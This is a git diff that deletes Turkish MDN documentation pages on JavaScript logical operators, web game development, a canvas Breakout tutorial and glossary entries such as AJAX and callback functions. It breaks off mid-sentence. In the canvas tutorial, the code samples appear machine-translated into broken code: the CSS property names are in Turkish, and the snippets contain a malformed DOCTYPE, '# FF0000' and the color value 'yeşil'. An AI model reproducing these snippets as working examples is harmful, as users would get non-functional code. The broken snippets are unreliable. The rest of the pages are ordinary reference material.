!bCondition2)</pre> - -<h4 id="DEĞİL_operatörleri_arasında_dönüşüm_yapmak">DEĞİL operatörleri arasında dönüşüm yapmak</h4> - -<p>Booleanları içeren aşağıdaki ifade:</p> - -<pre class="brush: js">!!bCondition</pre> - -<p>her zaman şuna eşittir: </p> - -<pre class="brush: js">bCondition</pre> - -<h3 id="İç_içe_geçmiş_parantezleri_kaldırmak">İç içe geçmiş parantezleri kaldırmak</h3> - -<p>Mantıksal operatörlerin soldan sağa değerlendirilmesi durumunda, kompleks bir ifadeden parantezleri bazı kuralları takip ederek kaldırmak mümkündür.</p> - -<h4 id="İç_içe_geçmiş_VE_operatörünü_kaldırmak">İç içe geçmiş VE operatörünü kaldırmak</h4> - -<p>Aşağıda, Boolean içeren bu bileşik işlem:</p> - -<pre class="brush: js">bCondition1 || (bCondition2 && bCondition3)</pre> - -<p>her zaman şuna eşittir:</p> - -<pre class="brush: js">bCondition1 || bCondition2 && bCondition3</pre> - -<h4 id="İç_içe_geçmiş_YA_DA_operatörünü_kaldırmak">İç içe geçmiş YA DA operatörünü kaldırmak</h4> - -<p>Aşağıda, Boolean içeren bu bileşik ifade:</p> - -<pre class="brush: js">bCondition1 && (bCondition2 || bCondition3)</pre> - -<p>her zaman şuna eşittir:</p> - -<pre class="brush: js">!(!bCondition1 || !bCondition2 && !bCondition3)</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>İlk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-11.11')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Tarifnamenin birkaç bölümünde tanımlandı: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Tarifnamenin birkaç bölümünde tanımlandı: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td>Tarifnamenin birkaç bölümünde tanımlandı: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Mantıksal VE (<code>&&</code>)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td> - <p>Mantıksal YA DA (<code>||</code>)</p> - </td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>Mantıksal DEĞİL (<code>!</code>)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Android üzerinde Chrome</th> - <th>Firefox Mobil (Gecko)</th> - <th>IE Mobil</th> - <th>Opera Mobil</th> - <th>Safari Mobil</th> - </tr> - <tr> - <td>Logical AND (<code>&&</code>)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>Logical OR (<code>||</code>)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>Logical NOT (<code>!</code>)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_bakın">Ayrıca bakın</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise operators</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></li> -</ul> diff --git a/files/tr/games/index.html b/files/tr/games/index.html deleted file mode 100644 index a782c9e90f..0000000000 --- a/files/tr/games/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Oyun geliştirme -slug: Games -translation_of: Games -original_slug: Oyunlar ---- -<div>{{GamesSidebar}}</div> - -<div class="summary"> -<p>Oyun oynamak bilgisayarda yapılan en popüler aktivitelerden biridir.Yeni teknolojiler, standartlara uygun tarayıcılarda çalışabilen, daha güçlü ve daha kolay geliştirilebilir oyunlar yapmayı mümkün kılıyor.</p> -</div> - -<div>{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}</div> - -<div class="topicpage-table"> -<div class="section"> -<h2 id="Web_Tabanlı_Oyun_Geliştirme">Web Tabanlı Oyun Geliştirme</h2> - -<p>MDN oyun geliştirme merkezine hoşgeldin! Burada oyun geliştirmek isteyen geliştiriciler için kaynaklar sunuyoruz. Soldaki ana menüde birçok yararlı öğretici ve teknik makale bulacaksın. Yani özgürce keşfet. </p> - -<p>Ayrıca, oyun geliştirmede kullanılan en yaygın API'ler hakkında kolayca bilgi bulabilmeniz için bir referans bölümü de ekledik.</p> - -<div class="note"><strong>Not:</strong> Web üzerinde oyun oluşturmak, HTML, CSS ve JavaScript gibi bir dizi temel web teknolojisini kullanır. Öğrenme Alanı, temel bilgilere başlamak için iyi bir yerdir.</div> -</div> - -<div class="section"> -<h2 id="Yerel_oyunları_Webe_taşıyın">Yerel oyunları Web'e taşıyın</h2> - -<p>Yerel bir geliştiriciyseniz (örneğin, C ++ dilinde oyunlar yazıyorsanız) ve oyunlarınızı Web'e nasıl taşıyabileceğinizle ilgileniyorsanız, Emscripten aracımız hakkında daha fazla bilgi edinmelisiniz - bu, bir LLVM'den JavaScript derleyicisine, LLVM bayt kodu (örneğin, Clang kullanılarak C / C ++ 'dan veya başka bir dilden oluşturulmuş) ve bunu Web üzerinde çalıştırılabilen asm.js'de derler.</p> - -<p>Başlamak için bkz:</p> - -<ul> - <li>Üst düzey ayrıntılar içeren bir giriş için <a href="http://kripken.github.io/emscripten-site/docs/introducing_emscripten/about_emscripten.html">Emscripten hakkınd</a>a</li> - <li>Araç zincirini kurmak için <a href="http://kripken.github.io/emscripten-site/docs/getting_started/downloads.html">İndirin ve Kurun</a>.</li> - <li>Size nasıl başlayacağınızı öğretecek bir öğretici için <a href="http://kripken.github.io/emscripten-site/docs/getting_started/Tutorial.html">Emscripten Eğitimi.</a></li> -</ul> -</div> -</div> - -<div class="topicpage-table"> -<div class="section"> -<h2 id="Örnekler">Örnekler</h2> - -<p>Örnek oyunların listesi için burayı inceleyebilirsin <a href="/en-US/docs/Games/Examples">örnek oyunlar sayfası</a>. Ayrıca işinize yarayabilecek içerikler için <a href="https://games.mozilla.org/">games.mozilla.org</a> adresini ziyaret edebilirsiniz!</p> -</div> -</div> - -<h2 id="Bunlarada_bak">Bunlarada bak</h2> - -<div class="topicpage-table"> -<div class="section"> -<dl> - <dt><a href="http://buildnewgames.com/">Build New Games</a></dt> - <dd>A collaborative site featuring a large number of open web game development tutorials. Has not been very active recently, but still holds some nice resources.</dd> - <dt><a href="http://creativejs.com/">Creative JS</a></dt> - <dd>A collection of impressive JavaScript techniques and experiments, not specific to games, but helpful nonetheless. Has not been very active recently, but still holds some nice resources.</dd> - <dt><a href="http://gameprogrammingpatterns.com/">Game programming patterns</a></dt> - <dd>An online book, written by Bob Nystrom, which discusses programming patterns in the context of game development with the aim of helping game developers produce more effective and efficient code.</dd> - <dt><a href="http://gamedevjsweekly.com/">Gamedev.js Weekly</a></dt> - <dd>Weekly newsletter about HTML5 game development, sent every Friday. Contains the latest articles, tutorials, tools and resources.</dd> - <dt><a href="http://www.html5gamedevs.com/">HTML5 Game Devs Forum</a></dt> - <dd>Forums for developers, framework creators and publishers. Ask questions, get feedback and help others.</dd> -</dl> -</div> - -<div class="section"> -<dl> - <dt><a href="http://html5gameengine.com/">HTML5 Game Engine</a></dt> - <dd>List of the most popular HTML5 game frameworks along with their rating, features and samples.</dd> - <dt><a href="http://www.jsbreakouts.org/">JSBreakouts</a></dt> - <dd>Compare JavaScript Breakout clones in different frameworks to help you choose the right one for you.</dd> - <dt><a href="http://gamedevelopment.tutsplus.com/">Tuts+ Game Development</a></dt> - <dd>Tutorials and articles about game development in general.</dd> - <dt><a href="http://html5devstarter.enclavegames.com/">HTML5 Gamedev Starter</a></dt> - <dd>Starter for the new game developers, a curated list of links to various, useful resources around the web.</dd> - <dt><a href="http://js13kgames.com/">js13kGames</a></dt> - <dd>JavaScript coding competition for HTML5 game developers with the file size limit set to 13 kilobytes. All the submitted games are available in a readable form on GitHub.</dd> - <dt><a href="https://hacks.mozilla.org/category/games/">Mozilla Hacks blog</a></dt> - <dd>Games category on the Mozilla Hacks blog containing interesting gamedev related articles.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Games/visual_typescript_game_engine">Visual TypeScript game engine</a></dt> - <dd>TypeScript project based on matter.ts implementation.</dd> -</dl> -</div> -</div> diff --git a/files/tr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.html b/files/tr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.html deleted file mode 100644 index ac5a0f560d..0000000000 --- a/files/tr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Create the Canvas and draw on it -slug: >- - Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it -translation_of: >- - Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it ---- -<div>{{GamesSidebar}}</div> - -<div>{{IncludeSubnav ("/en-US/docs/Oyunlar")}}</div> - -<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball")}}</p> - -<div class="summary"> -<p>Bu, <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas eğitiminde</a> 10 üzerinden <strong>1. adımdır</strong> . Bu dersi tamamladıktan sonra bakması gereken kaynak kodunu <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html">Gamedev-Canvas-workshop/lesson1.html adresinde bulabilirsiniz</a> .</p> -</div> - -<p><span class="seoSummary">Oyunun işlevselliğini yazmaya başlamadan önce, oyunu içine işlemek için temel bir yapı oluşturmamız gerekiyor. Bu, HTML ve {{htmlelement ("canvas")}} öğesi kullanılarak yapılabilir.</span></p> - -<h2 id="Oyunun_HTMLsi">Oyunun HTML'si</h2> - -<p>Oyun tamamen {{htmlelement("canvas")}} öğesinde oluşturulacağı için HTML belge yapısı oldukça basittir. Favori metin düzenleyicinizi kullanarak yeni bir HTML belgesi oluşturun, <code>index.html</code>mantıklı bir konuma farklı kaydedin ve aşağıdaki kodu ona ekleyin:</p> - -<pre class="brush: html notranslate"><! DOCTYPE html> -<html> -<head> - <meta charset = "utf-8" /> - <title> Gamedev Canvas Workshop </title> - <style> - * {dolgu: 0; kenar boşluğu: 0; } - canvas {arka plan: #eee; Ekran bloğu; kenar boşluğu: 0 otomatik; } - </style> -</head> -<body> - -<canvas id = "myCanvas" width = "480" height = "320"> </canvas> - -<script> - //JavaScript kodu buraya gelir -</script> - -</body> -</html> -</pre> - -<p>Biz var <code>charset</code>tanımlanmış {{htmlelement( "title")}} ve başlığında bazı temel CSS. Gövde {{htmlelement("canvas")}} ve {{htmlelement("script")}} öğeleri içerir - oyunu ilkinin içinde oluşturacağız ve onu kontrol eden JavaScript kodunu ikinciye yazacağız. {{Htmlelement("canvas")}} öğesinin, referansını kolayca almamızı sağlayan bir <code>id</code>değeri vardır <code>myCanvas</code>ve 480 piksel genişliğinde ve 320 piksel yüksekliğindedir. Bu eğiticide yazacağımız tüm JavaScript kodu, açılış <code><script></code>ve kapanış <code></script></code>etiketleri arasında yer alacaktır .</p> - -<h2 id="Tuvalle_ilgili_temel_bilgiler">Tuvalle ilgili temel bilgiler</h2> - -<p>{{Htmlelement("canvas")}} öğesinde gerçekten grafik oluşturabilmek için, önce JavaScript'te ona bir referans almalıyız. Aşağıdakini açılış <code><script></code>etiketinizin altına ekleyin .</p> - -<pre class="brush: js notranslate">var canvas = document.getElementById ("myCanvas"); -var ctx = canvas.getContext ("2d");</pre> - -<p>Burada, <code>canvas</code>değişkene {{htmlelement("canvas")}} öğesine bir referans kaydediyoruz . Ardından <code>ctx</code>, 2B oluşturma bağlamını depolamak için değişkeni oluşturuyoruz - bu, Tuval üzerine boyamak için kullanabileceğimiz gerçek araç.</p> - -<p>Tuvale kırmızı bir kare yazdıran örnek bir kod parçası görelim. Bunu önceki JavaScript satırlarınızın altına ekleyin, ardından <code>index.html</code>denemek için bir tarayıcıya yükleyin .</p> - -<pre class="brush: js notranslate">ctx.beginPath (); -ctx.rect (20, 40, 50, 50); -ctx.fillStyle = "# FF0000"; -ctx.fill (); -ctx.closePath ();</pre> - -<p>Tüm talimatlar {{domxref("CanvasRenderingContext2D.beginPath()", "beginPath ()")}} ve {{domxref("CanvasRenderingContext2D.closePath()", "closePath()")}} yöntemleri arasındadır. {{Domxref("CanvasRenderingContext2D.rect ()", "rect()")}} kullanarak bir dikdörtgen tanımlıyoruz: ilk iki değer, tuval üzerindeki dikdörtgenin sol üst köşesinin koordinatlarını belirtirken, ikincisi dikdörtgenin genişliğini ve yüksekliğini belirtin. Bizim durumumuzda dikdörtgen ekranın sol tarafından 20 piksel ve üst tarafından 40 piksel olarak boyanmıştır ve 50 piksel genişliğinde ve 50 piksel yüksekliğindedir, bu da onu mükemmel bir kare yapar. {{Domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} özelliği,</p> - -<p>Dikdörtgenlerle sınırlı değiliz - işte yeşil bir daire yazdırmak için bir kod parçası. Bunu JavaScript'inizin altına eklemeyi, kaydetmeyi ve yenilemeyi deneyin:</p> - -<pre class="brush: js notranslate">ctx.beginPath (); -ctx.arc (240, 160, 20, 0, Math.PI * 2, false); -ctx.fillStyle = "yeşil"; -ctx.fill (); -ctx.closePath ();</pre> - -<p>Gördüğünüz gibi {{domxref("CanvasRenderingContext2D.beginPath ()", "beginPath()")}} ve {{domxref("CanvasRenderingContext2D.closePath ()", "closePath()")}} kullanıyoruz yine yöntemler. Bunların arasında, yukarıdaki kodun en önemli kısmı {{domxref("CanvasRenderingContext2D.arc()", "arc()")}} yöntemidir. Altı parametre alır:</p> - -<ul> - <li><code>x</code>ve <code>y</code>yayın merkezinin koordinatları</li> - <li>yay yarıçapı</li> - <li>başlangıç açısı ve bitiş açısı (daire çizmenin radyan cinsinden hangi açı ile başlayıp bitirileceği)</li> - <li>çizim yönü ( <code>false</code>saat yönünde, varsayılan veya <code>true</code>saat yönünün tersi için.) Bu son parametre isteğe bağlıdır.</li> -</ul> - -<p>{{Domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} özelliği öncekinden farklı görünüyor. Bunun nedeni, tıpkı CSS'de olduğu gibi, rengin onaltılık bir değer, renk anahtar sözcüğü, <code>rgba()</code>işlev veya diğer mevcut renk yöntemlerinden herhangi biri olarak belirtilebilmesidir.</p> - -<p>{{Domxref("CanvasRenderingContext2D.fill()", "fill()")}} kullanmak ve şekilleri renklerle doldurmak yerine {{domxref("CanvasRenderingContext2D.stroke()", "strok()")}} kullanabiliriz yalnızca dış konturu renklendirmek için. Bu kodu JavaScript'inize de eklemeyi deneyin:</p> - -<pre class="brush: js notranslate">ctx.beginPath (); -ctx.rect (160, 10, 100, 40); -ctx.strokeStyle = "rgba (0, 0, 255, 0.5)"; -ctx.stroke (); -ctx.closePath ();</pre> - -<p>Yukarıdaki kod, mavi konturlu boş bir dikdörtgen yazdırır. <code>rgba()</code>Fonksiyondaki alfa kanalı sayesinde mavi renk yarı şeffaftır.</p> - -<h2 id="Kodunuzu_karşılaştırın">Kodunuzu karşılaştırın</h2> - -<p>İşte bir JSFiddle'da canlı olarak çalıştırılan ilk dersin tam kaynak kodu:</p> - -<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/", "", "395")}}</p> - -<div class="note"> -<p><strong>Alıştırma</strong> : Verilen şekillerin boyutunu ve rengini değiştirmeyi deneyin.</p> -</div> - -<h2 id="Sonraki_adımlar">Sonraki adımlar</h2> - -<p>Şimdi temel HTML'yi kurduk ve tuval hakkında biraz bilgi edindik, ikinci bölüme geçelim ve <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Move_the_ball">oyunumuzda topu</a> nasıl <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Move_the_ball">hareket</a> ettireceğimize bakalım .</p> - -<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball")}}</p> diff --git a/files/tr/games/tutorials/2d_breakout_game_pure_javascript/index.html b/files/tr/games/tutorials/2d_breakout_game_pure_javascript/index.html deleted file mode 100644 index 3a821095a6..0000000000 --- a/files/tr/games/tutorials/2d_breakout_game_pure_javascript/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 2D breakout game using pure JavaScript -slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript ---- -<div>{{GamesSidebar}}</div> - -<div>{{IncludeSubnav("/en-US/docs/Games")}}</div> - -<p>{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it")}}</p> - -<p class="summary">In this step-by-step tutorial we create a simple <strong>MDN Breakout</strong> game written entirely in pure JavaScript and rendered on HTML5 {{htmlelement("canvas")}}.</p> - -<p>Every step has editable, live samples available to play with so you can see what the intermediate stages should look like. You will learn the basics of using the {{htmlelement("canvas")}} element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states.</p> - -<p>To get the most out of this series of articles you should already have basic to intermediate <a href="/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a> knowledge. After working through this tutorial you should be able to build your own simple Web games.</p> - -<p><img alt="Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives." src="https://mdn.mozillademos.org/files/10383/mdn-breakout-gameplay.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p> - -<h2 id="Lesson_details">Lesson details</h2> - -<p>All the lessons — and the different versions of the <a href="http://breakout.enclavegames.com/lesson10.html">MDN Breakout game</a> we are building together — are <a href="https://github.com/end3r/Canvas-gamedev-workshop">available on GitHub</a>:</p> - -<ol> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it">Create the Canvas and draw on it</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball">Move the ball</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls">Bounce off the walls</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls">Paddle and keyboard controls</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over">Game over</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field">Build the brick field</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection">Collision detection</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">Track the score and win</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls">Mouse controls</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up">Finishing up</a></li> -</ol> - -<p>Starting with pure JavaScript is the best way to get a solid knowledge of web game development. After that, you can pick any framework you like and use it for your projects. Frameworks are just tools built with the JavaScript language; so even if you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood. Frameworks speed up development time and help take care of boring parts of the game, but if something is not working as expected, you can always try to debug that or just write your own solutions in pure JavaScript.</p> - -<div class="note"> -<p><strong>Note</strong>: If you are interested in learning about 2D web game development using a game library, consult this series' counterpart, <a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a>.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: This series of articles can be used as material for hands-on game development workshops. You can also make use of the <a href="https://github.com/end3r/Gamedev-Canvas-Content-Kit">Gamedev Canvas Content Kit</a> based on this tutorial if you want to give a talk about game development in general.</p> -</div> - -<h2 id="Next_steps">Next steps</h2> - -<p>Ok, let's get started! Head to the first chapter— <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it">Create the Canvas and draw on it</a>.</p> - -<p>{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it")}} </p> diff --git a/files/tr/games/tutorials/index.html b/files/tr/games/tutorials/index.html deleted file mode 100644 index 90d1cb0790..0000000000 --- a/files/tr/games/tutorials/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Tutorials -slug: Games/Tutorials -tags: - - Canvas - - Games - - JavaScript - - NeedsTranslation - - TopicStub - - Web - - Workflows -translation_of: Games/Tutorials ---- -<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div> - -<p>This page contains multiple tutorial series that highlight different workflows for effectively creating different types of web games.</p> - -<dl> - <dt><a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript">2D breakout game using pure JavaScript</a></dt> - <dd>In this step-by-step tutorial you'll implement a simple breakout clone using pure JavaScript. Along the way you will learn the basics of using the {{htmlelement("canvas")}} element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.</dd> - <dt><a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a></dt> - <dd>In this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using the<a class="external external-icon" href="http://phaser.io/">Phaser</a> HTML5 game framework. This idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">2D maze game with device orientation</a></dt> - <dd>This tutorial shows how to create a 2D maze game using HTML5, incorporating fundamentals such as collision detection and sprite placement on a {{htmlelement("canvas")}}. This is a mobile game that uses the <a href="/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Device Orientation</a> and <a href="/en-US/docs/Web/Guide/API/Vibration">Vibration</a><strong> APIs</strong> to enhance the gameplay and is built using the <a href="http://phaser.io/">Phaser</a> framework.</dd> - <dt><a href="https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/">2D platform game with Phaser</a></dt> - <dd>This tutorial series shows how to create a simple platform game using <a href="http://phaser.io/">Phaser</a>, covering fundamentals such as sprites, collisions, physics, collectables, and more.</dd> -</dl> diff --git a/files/tr/glossary/ajax/index.html b/files/tr/glossary/ajax/index.html deleted file mode 100644 index b2b2fd109f..0000000000 --- a/files/tr/glossary/ajax/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: AJAX -slug: Glossary/AJAX -tags: - - AJAX - - Başlangıç - - XMLHttpRequest -translation_of: Glossary/AJAX ---- -<p>AJAX (Asenkron {{glossary("JavaScript")}} ve {{glossary("XML")}}) {{glossary("HTML")}}, {{glossary("CSS")}}, JavaScript, ve {{glossary("DOM", "DOM'u")}} <code>XMLHttpRequest</code> {{glossary("object", "nesnesi")}} ile kombine ederek daha kompleks web sayfaları oluşturmaya yarayan bir programlama pratiğidir. AJAX sayesinde bir web sayfasının ilgilendiğimiz bölümlerini, bütün sayfayı yenilemek zorunda kalmaksızın, güncelleyebiliriz. AJAX ayrıca asenkron çalışabilmemizi sağlar; güncellemenin gerçekleştiği sırada diğer kodlar çalışmaya devam eder — aksi halde güncelleme bitene kadar kod akışı tıkanırdı (senkron).</p> - -<h2 id="Daha_fazla_bilgi_al">Daha fazla bilgi al</h2> - -<h3 id="Genel_bilgi">Genel bilgi</h3> - -<ul> - <li>Wikipedia'da {{interwiki("wikipedia", "AJAX")}}</li> - <li><a href="http://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/">Senkron ve Asenkron İletişim Tipleri (İngilizce)</a></li> -</ul> - -<h3 id="Teknik_bilgi">Teknik bilgi</h3> - -<ul> - <li>{{domxref("XMLHttpRequest")}} nesnesi.</li> - <li><a href="/tr/docs/AJAX">MDN'de AJAX Dokümantasyonu</a></li> -</ul> diff --git a/files/tr/glossary/browser/index.html b/files/tr/glossary/browser/index.html deleted file mode 100644 index b5c3a91220..0000000000 --- a/files/tr/glossary/browser/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Web Tarayıcısı -slug: Glossary/Browser -translation_of: Glossary/Browser -original_slug: Glossary/Web_Tarayıcısı ---- -<p><em>Web tarayıcısı</em>, Kullanıcıların {{Glossary("World Wide Web","Web")}} sunucuları üzerinde bulunan sayfaları görüntülemesi ve sayfadaki {{Glossary("hyperlink","linkler")}} üzerinden başka sayfalara ulaşmasını sağlayan bir programdır.</p> - -<h2 id="Daha_fazla_bilgi_edin">Daha fazla bilgi edin</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li><a href="https://tr.wikipedia.org/wiki/Web_tarayıcısı">Web Tarayıcısı</a> - Vikipedi</li> - <li><a href="http://www.evolutionoftheweb.com/" rel="external">Web'in evrimi</a></li> -</ul> - -<h3 id="Bir_tarayıcı_indir">Bir tarayıcı indir</h3> - -<ul> - <li><a href="http://www.mozilla.org/en-US/firefox/features/">Mozilla Firefox</a></li> - <li><a href="http://www.google.com/chrome/" rel="external">Google Chrome</a></li> - <li><a href="http://windows.microsoft.com/en-US/internet-explorer/browser-ie" rel="external">Microsoft Internet Explorer</a></li> - <li><a href="http://www.opera.com/" rel="external">Opera Browser</a></li> -</ul> diff --git a/files/tr/glossary/callback_function/index.html b/files/tr/glossary/callback_function/index.html deleted file mode 100644 index df61c52402..0000000000 --- a/files/tr/glossary/callback_function/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Geri Çağırma Fonksiyonları -slug: Glossary/Callback_function -tags: - - Callback - - Callback function - - Geri Çağırma -translation_of: Glossary/Callback_function ---- -<p>Bir `Geri Çağırma` fonskiyonu başka bir fonksiyona verilen bir parametre şeklindeki fonksiyondur. Geri çağırma fonksiyonu, ikinci fonksiyonun içinde çağrılır ya da çalıştırılır. </p> - -<p>Bir örnek:</p> - -<pre>function birinci() { - setTimeout(function () { - alert(1); - }, 500); -} - -function ikinci() { - alert(2); -} - -birinci(); -ikinci(); - -// çıktı -// 2 -// 1 -</pre> - -<p>Yukarıda kod örneğinde <em>birinci() </em>fonksiyonu ilk çalışmasına rağmen çıktı olarak daha sonra sonuç vermiştir. Bu javascriptin asenkron özelliğindendir. Bu gibi durumların önüne geçmek için <em>`callback` </em>kullanılmalıdır.</p> - -<pre>function birinci(<em>callback</em>) { - setTimeout( - function () { - alert(1); - callback() - }, 500); -} - -function ikinci() { - alert(2); -} - -birinci(ikinci); - -// çıktı -// 1 -// 2</pre> - -<p>Yukarıdaki örnekte çıktı olarak önce '<em>1</em>' çalışırken onun bitmesinin ardından parametre olarak verilen '<em>ikinci()'</em> fonksiyonu çalışmıştır. </p> - -<p>Bir başka örnek;</p> - -<p>Örneğin büyük bir dosyayı İnternet'ten indirirken, diğer işlemlerin de aksamamasını isteyelim. Bir başka 